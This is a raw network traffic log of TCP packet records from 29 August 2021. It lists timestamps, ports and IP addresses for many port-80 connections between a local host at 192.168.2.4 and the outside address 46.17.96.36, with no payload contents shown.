Aug 29, 2021 22:27:52.591983080 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.592108965 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.592675924 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.592796087 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.592844009 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.592861891 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.608472109 CEST	80	49863	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.629473925 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.629612923 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.655003071 CEST	80	49863	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.656584024 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.785330057 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.785645008 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.786686897 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.818032026 CEST	80	49863	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.818151951 CEST	49863	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.818964005 CEST	80	49864	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.819081068 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.820804119 CEST	80	49861	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.822062016 CEST	49861	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.841491938 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.850897074 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.874876022 CEST	80	49864	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.885910034 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.886471987 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.888051987 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.888127089 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.888323069 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.888407946 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.911488056 CEST	80	49864	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.911607981 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.922928095 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.922964096 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925573111 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925653934 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925693035 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925730944 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925767899 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925806999 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.925832033 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.925860882 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.925873995 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.925884962 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.925894022 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.960903883 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.960954905 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.960979939 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.961066008 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.961118937 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.961796999 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.961827040 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.961852074 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.962013006 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.962177038 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.962203026 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.962236881 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.962265968 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.962841988 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.996793032 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.997560024 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.997662067 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.997725010 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.997766018 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.997783899 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.997791052 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.997849941 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:52.998312950 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998409986 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998445034 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998502016 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998529911 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998718023 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.998745918 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.999015093 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:52.999222994 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.032886982 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.032964945 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.033291101 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.033332109 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.033359051 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.033384085 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.034753084 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.034781933 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.073076963 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.073743105 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.073771000 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.074850082 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.106138945 CEST	80	49864	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.106985092 CEST	49864	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.107422113 CEST	80	49866	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.107578993 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.114259005 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.146677971 CEST	80	49866	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.197138071 CEST	80	49866	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.197290897 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.287252903 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.287827015 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.289274931 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.310779095 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.320566893 CEST	80	49866	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.321078062 CEST	49866	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.321921110 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.322185993 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.323512077 CEST	80	49865	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.323612928 CEST	49865	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.323744059 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.323931932 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.324089050 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.324167013 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.344886065 CEST	80	49868	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.347666979 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.348179102 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.355910063 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.357453108 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.357501030 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.357527971 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.357639074 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.357887983 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.357992887 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.358022928 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.358053923 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.358201981 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.382005930 CEST	80	49868	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390017986 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390091896 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.390227079 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390259981 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390336037 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.390624046 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390650034 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390674114 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390732050 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.390784025 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.390820980 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.390974045 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.391541958 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.422658920 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.422703981 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.422779083 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.422828913 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.423090935 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.423300028 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.424989939 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426356077 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426387072 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426409006 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426434040 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426456928 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426491976 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426522970 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426549911 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426577091 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426603079 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426625967 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426651955 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.426738977 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.430233002 CEST	80	49868	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.432593107 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.456370115 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.456410885 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.456424952 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.456442118 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.459378004 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.459402084 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.460025072 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.460043907 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.494416952 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.495363951 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.543385029 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.544024944 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.545049906 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.576646090 CEST	80	49867	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.576703072 CEST	80	49868	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.576766014 CEST	49867	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.576795101 CEST	49868	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.578839064 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.578994036 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.580914974 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.614625931 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.653335094 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.654213905 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.763492107 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.763601065 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.763822079 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.763953924 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.767016888 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.798487902 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.798506975 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.798521042 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.798530102 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.798655033 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.798711061 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.798928976 CEST	80	49870	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.799165964 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.800890923 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.832411051 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.832503080 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.832581043 CEST	80	49870	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.832674980 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.832676888 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.832751989 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.832768917 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.866442919 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.866605997 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.866637945 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.866746902 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.870739937 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.877295017 CEST	80	49870	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.877403021 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.900509119 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.934263945 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:53.936620951 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:53.999841928 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.000194073 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.001235008 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.032114983 CEST	80	49870	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:54.032205105 CEST	49870	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.033492088 CEST	80	49869	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:54.033730030 CEST	49869	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.036308050 CEST	80	49871	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:54.036401987 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.037111998 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:54.072369099 CEST	80	49871	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:54.113221884 CEST	80	49871	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:54.113850117 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.347940922 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.349800110 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.350240946 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.382035017 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.382085085 CEST	80	49872	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.382266045 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.382307053 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.383275986 CEST	80	49871	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.383352041 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.383378983 CEST	49871	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.383481026 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.384150982 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.384790897 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.386156082 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.415185928 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.415242910 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.415822983 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.415854931 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.415878057 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.415956020 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416003942 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416003942 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.416043043 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416064978 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416121960 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416404009 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.416471004 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.416601896 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.416670084 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.418241024 CEST	80	49872	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.447711945 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.447865009 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.447882891 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.447882891 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.447894096 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.447940111 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.447943926 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.448091984 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.448118925 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.448234081 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.448301077 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.448313951 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.448345900 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.448379993 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.448465109 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.459954977 CEST	80	49872	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.460042000 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.480618954 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.480648994 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.480659962 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.480767012 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.480822086 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.480907917 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481007099 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.481025934 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481113911 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.481259108 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481276035 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481478930 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481499910 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481817007 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.481952906 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512486935 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512516975 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512550116 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512774944 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512824059 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512860060 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512891054 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.512948990 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.548789024 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.548914909 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.580569983 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.580833912 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.582245111 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.615201950 CEST	80	49873	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.615231991 CEST	80	49872	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.615245104 CEST	80	49874	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.615323067 CEST	49873	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.615364075 CEST	49872	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.615437031 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.649152994 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.681499004 CEST	80	49874	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.719065905 CEST	80	49874	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.719322920 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.950608969 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.976200104 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:55.982652903 CEST	80	49874	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:55.982796907 CEST	49874	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.008409977 CEST	80	49875	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:56.008877993 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.133362055 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.185707092 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.445945978 CEST	80	49875	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:56.446043968 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.586775064 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.588344097 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.619748116 CEST	80	49875	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:56.619864941 CEST	49875	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:56.623588085 CEST	80	49877	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:56.624934912 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.047902107 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.083024979 CEST	80	49877	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.127475977 CEST	80	49877	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.127587080 CEST	49877	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.238873005 CEST	80	49876	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:57.239063978 CEST	49876	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:57.362560987 CEST	49876	80	192.168.2.4	46.17.96.36
